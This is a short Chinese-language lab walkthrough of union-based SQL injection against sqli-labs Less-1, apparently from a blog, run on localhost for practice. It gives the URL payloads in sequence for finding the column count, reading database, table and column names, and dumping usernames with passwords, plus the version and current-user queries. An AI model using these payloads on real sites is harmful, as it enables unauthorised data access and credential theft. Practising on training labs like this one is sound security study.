SQL注入实例(sqli-labs/less-1)

初始网页

从网页可知传递的参数名为 id,并且为数字类型

1、得知数据表有多少列

1.1 使用联合查询查找列数(效率低)
sql 复制代码
http://localhost/sqli-labs-master/Less-1/?id=1' union select 1,2 --+
1.2 使用order by查找列数(效率高)
sql 复制代码
http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

2、查看回显位置

sql 复制代码
?id=-1' union select 1,2,3 --+

3、查询当前数据库名

sql 复制代码
?id=-1' union select 1,database(),3 --+

4、查询当前表名

sql 复制代码
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

5、查询列名

sql 复制代码
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

6、查询最终数据

sql 复制代码
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users --+

其他

查询当前数据库版本

sql 复制代码
?id=-1' union select 1,version(),3 --+

查询当前登录用户

sql 复制代码
?id=-1' union select 1,user(),3 --+
相关推荐
IvorySQL3 小时前
PG 技术日报|2026-07-04
数据库·人工智能·postgresql·开源
Hoxy.R3 小时前
KingbaseES读写分离高可用集群扩容、备库重建与故障切换实战
运维·数据库
IvorySQL3 小时前
IvorySQL HTAP 实时湖仓接入引擎
数据库·postgresql·开源·htap·ivorysql
忧郁的紫菜3 小时前
WCF+JSON+实体对象与WebService+DataSet效率大比拼
数据库·oracle·json
IvorySQL4 小时前
PostgreSQL 技术日报|2026-07-05
数据库·postgresql
我会尽全力 乐观而坚强5 小时前
MySQL库与表的操作
linux·数据库·mysql
lilihuigz5 小时前
产品附加选项插件WooCommerce Product Add-Ons:9种字段类型与3种定价模式提升销售 - 易服客工作室
数据库·mysql·wordpress插件·woocommerce扩展·定制选项
360智汇云6 小时前
Valkey 9.1上线:从Redis兼容到AI数据能力探索
数据库
标致的自行车6 小时前
Entity Framework之问题收集
jvm·数据库·oracle
啵啵鱼爱吃小猫咪6 小时前
Franka机械臂安装实时内核
数据库·postgresql